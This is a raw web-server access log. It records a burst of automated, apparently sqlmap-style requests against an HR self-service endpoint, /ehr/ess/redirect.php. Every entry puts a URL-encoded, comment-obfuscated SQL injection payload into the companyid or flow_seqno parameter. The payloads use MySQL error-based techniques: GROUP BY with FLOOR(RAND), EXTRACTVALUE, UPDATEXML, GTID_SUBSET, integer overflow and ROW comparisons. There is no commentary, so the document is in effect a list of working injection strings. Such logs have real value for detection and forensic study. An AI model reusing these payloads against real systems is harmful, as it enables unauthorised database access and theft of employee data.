100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x77617142%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x44615655%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2F3N35&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x77617142%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x44615655%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2F3N35&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x59494b4f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x58433852%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2FN26b&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x59494b4f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x58433852%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2FN26b&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x67387171%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4a394f47%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2FiaD4&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x67387171%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4a394f47%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2FiaD4&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x44646873%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4f4d476e%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2FeZbK&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x44646873%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4f4d476e%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2FeZbK&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x6553376b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4f306b41%29%2C6420%29--%2F%2A%2A%2FYET2&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x6553376b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4f306b41%29%2C6420%29--%2F%2A%2A%2FYET2&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x31327a42%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6534356a%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2Fe2p7&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x31327a42%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6534356a%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2Fe2p7&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x5a566773%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x72336932%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2FZR2w%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x5a566773%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x72336932%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2FZR2w%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x334d356b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x68643456%29%2C6420%29--%2F%2A%2A%2FvXrL&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x334d356b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x68643456%29%2C6420%29--%2F%2A%2A%2FvXrL&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x55536c69%2C%28NULL%29%2C0x67527a43%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2FJ2ME%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x55536c69%2C%28NULL%29%2C0x67527a43%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2FJ2ME%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x374d735a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4b4b3275%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2FTSg3&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x374d735a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4b4b3275%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2FTSg3&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6b476d7a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x304e6645%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2Fd7zF&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6b476d7a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x304e6645%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2Fd7zF&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x70714e36%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4834676a%29%2C6420%29--%2F%2A%2A%2F5pf9&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x70714e36%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4834676a%29%2C6420%29--%2F%2A%2A%2F5pf9&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x65304d43%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x62336e4f%29%29--%2F%2A%2A%2F8rGY&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x65304d43%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x62336e4f%29%29--%2F%2A%2A%2F8rGY&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x5036394d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x766d4153%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2FGCxf&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x5036394d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x766d4153%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2FGCxf&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x38784e59%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x36473965%29%2C6420%29--%2F%2A%2A%2FsePj&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x38784e59%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x36473965%29%2C6420%29--%2F%2A%2A%2FsePj&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x7773446a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x75613432%29%29--%2F%2A%2A%2F96iu&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x7773446a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x75613432%29%29--%2F%2A%2A%2F96iu&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x315a3972%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4e4f4646%29%2C5431%29--%2F%2A%2A%2FnpA3&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x315a3972%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4e4f4646%29%2C5431%29--%2F%2A%2A%2FnpA3&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x50554b72%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5a6a7a6c%29%2C5431%29--%2F%2A%2A%2FpzOx&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x50554b72%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5a6a7a6c%29%2C5431%29--%2F%2A%2A%2FpzOx&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x5847304a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x375a7264%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2FFITC&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x5847304a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x375a7264%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2FFITC&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:04 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x34646e52%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x34586c31%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2FVTdR&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
